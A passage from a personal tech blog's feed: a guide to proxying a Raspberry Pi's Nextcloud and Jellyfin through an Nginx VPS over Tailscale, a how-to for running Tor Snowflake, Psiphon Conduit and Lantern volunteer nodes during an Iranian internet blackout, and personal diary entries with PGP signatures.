    Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

    +

    Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

    +

    Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

    +

    I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
    +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
    +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
    +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
    +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
    +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
    +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
    +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
    +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
    +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
    +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
    +=7md6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md.asc
    +gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
    +  
    +
    + + +]]>
    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Blackouthttps://blog.alipour.eu/posts/blackout/Mon, 26 Jan 2026 07:21:51 +0000https://blog.alipour.eu/posts/blackout/I tried to be more useful, but when I couldn&#39;t, I found another way.Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

    +

    After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

    +

    One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

    +

    Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

    +

    I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

    +

    So I turned my Pis into helpers.

    +

    This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

    +
      +
    • Psiphon Conduit – to help Psiphon users automatically
    • +
    • Tor Snowflake (standalone proxy) – to help Tor users automatically
    • +
    • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever
    • +
    +

    Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

    +
    +

    The philosophy: don’t be a public server, be a volunteer node

    +

    A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

    +

    Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

    +

    That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

    +
    +

    What you need (one time)

    +

    This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

    +

    First, install Docker (because containers are a gift):

    +
    sudo apt update
    +sudo apt install -y curl
    +curl -fsSL https://get.docker.com -o get-docker.sh
    +sudo sh get-docker.sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    Now make yourself a clean playground under /srv:

    +
    sudo mkdir -p /srv/{conduit,snowflake,lantern}
    +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
    +

    I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

    +
    +

    Conduit: quietly helping Psiphon users (Docker)

    +

    Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

    +

    The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

    +

    The file: /srv/conduit/docker-compose.yml

    +

    Create it:

    +
    cd /srv/conduit
    +vim docker-compose.yml
    +

    Paste this:

    +
    services:
    +  conduit:
    +    image: ghcr.io/ssmirr/conduit/conduit:latest
    +    container_name: conduit
    +    restart: unless-stopped
    +
    +    # Keep keys and state across restarts
    +    volumes:
    +      - ./data:/app/data
    +
    +    # Optional: if you want a different bandwidth limit / max clients,
    +    # you can pass CLI flags here (these are examples).
    +    # command: ["conduit", "start", "-b", "4", "-c", "8"]
    +

    Then bring it up:

    +
    docker compose up -d
    +docker logs -f conduit
    +

    When it’s working, you’ll see things like:

    +
      +
    • [OK] Connected to Psiphon network
    • +
    • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)
    • +
    +

    If you ever want to stop it:

    +
    docker stop conduit
    +

    Or “disable but keep everything” (recommended):

    +
    docker compose down
    +

    Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

    +
    docker rm -f conduit
    +

    +

    Snowflake: Tor, but even quieter (Docker Compose)

    +

    Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

    +

    The file: /srv/snowflake/docker-compose.yml

    +

    You can download the official file exactly like this:

    +
    cd /srv/snowflake
    +wget -O docker-compose.yml \
    +  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
    +

    If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

    +
    services:
    +  snowflake-proxy:
    +    network_mode: host
    +    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    +    container_name: snowflake-proxy
    +    restart: unless-stopped
    +
    +    # For a full list of Snowflake proxy args, see the upstream docs.
    +    # Example if you ever need it:
    +    # command: ["-ephemeral-ports-range", "30000:60000"]
    +
    +  watchtower:
    +    image: containrrr/watchtower
    +    container_name: watchtower
    +    restart: unless-stopped
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +    command: snowflake-proxy
    +

    Start it (with auto updates):

    +
    docker compose up -d
    +docker logs -f snowflake-proxy
    +

    If you see:

    +
    Proxy starting
    +NAT type: restricted
    +

    …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

    +

    If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

    +
    docker rm -f snowflake-proxy
    +docker compose up -d
    +

    +

    Lantern Unbounded: a browser that helps people (systemd + Xvfb)

    +

    Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

    +

    So we cheat — politely.

    +

    We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

    +

    Install what we need

    +
    sudo apt update
    +sudo apt install -y xvfb
    +sudo apt install -y chromium-browser || sudo apt install -y chromium
    +

    Fix the X11 socket dir permissions (the annoying but essential part)

    +

    If you don’t do this, Xvfb may throw:

    +

    _XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

    +

    Fix it once:

    +
    sudo chmod 1777 /tmp
    +sudo mkdir -p /tmp/.X11-unix
    +sudo chown root:root /tmp/.X11-unix
    +sudo chmod 1777 /tmp/.X11-unix
    +

    The file: /etc/systemd/system/unbounded.service

    +

    Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

    +

    Create the service:

    +
    sudo vim /etc/systemd/system/unbounded.service
    +

    Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

    +
    [Unit]
    +Description=Lantern Unbounded (Xvfb + Chromium)
    +After=network-online.target
    +Wants=network-online.target
    +
    +[Service]
    +User=YOUR_USER
    +Environment=DISPLAY=:99
    +Environment=XDG_RUNTIME_DIR=/run/user/%U
    +
    +ExecStart=/usr/bin/bash -lc '\
    +  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
    +  sleep 1; \
    +  $(command -v chromium || command -v chromium-browser) \
    +    --no-first-run \
    +    --disable-breakpad \
    +    --disable-features=TranslateUI \
    +    --autoplay-policy=no-user-gesture-required \
    +    --use-fake-ui-for-media-stream \
    +    --disable-gpu \
    +    --no-sandbox \
    +    --app=https://unbounded.lantern.io/ \
    +    --kiosk \
    +    --window-size=1280,720 \
    +    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    +    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
    +'
    +
    +Restart=always
    +RestartSec=5
    +KillMode=mixed
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Enable and start:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now unbounded.service
    +systemctl status unbounded.service --no-pager
    +

    If you see Active: active (running), you’ve won.

    +

    “It runs headless-ish, but how do I know it’s alive?”

    +

    The simplest “is it on?” checks:

    +
    systemctl status unbounded.service --no-pager
    +journalctl -u unbounded.service -f
    +

    And the “is it actually doing network things?” check:

    +
    sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
    +

    If you ever want to stop it:

    +
    sudo systemctl stop unbounded.service
    +

    If you want it not to start on boot:

    +
    sudo systemctl disable unbounded.service
    +

    +

    A note on safety, legality, and expectations

    +

    None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

    +

    The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

    +

    That’s the part I like.

    +
    +

    The quiet satisfaction of it all

    +

    There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

    +

    No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

    +

    And honestly? That’s enough.

    +
    +

    Some rants

    +

    I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

    +

    This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
    +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
    +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
    +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
    +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
    +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
    +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
    +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
    +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
    +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
    +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
    +=t4W3
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md.asc
    +gpg --verify blackout.md.asc blackout.md
    +  
    +
    + + +]]>
    2025 Highlighthttps://blog.alipour.eu/posts/2025_highlight/Mon, 05 Jan 2026 18:53:54 +0000https://blog.alipour.eu/posts/2025_highlight/<p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.</p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

    +

    After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

    +

    Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
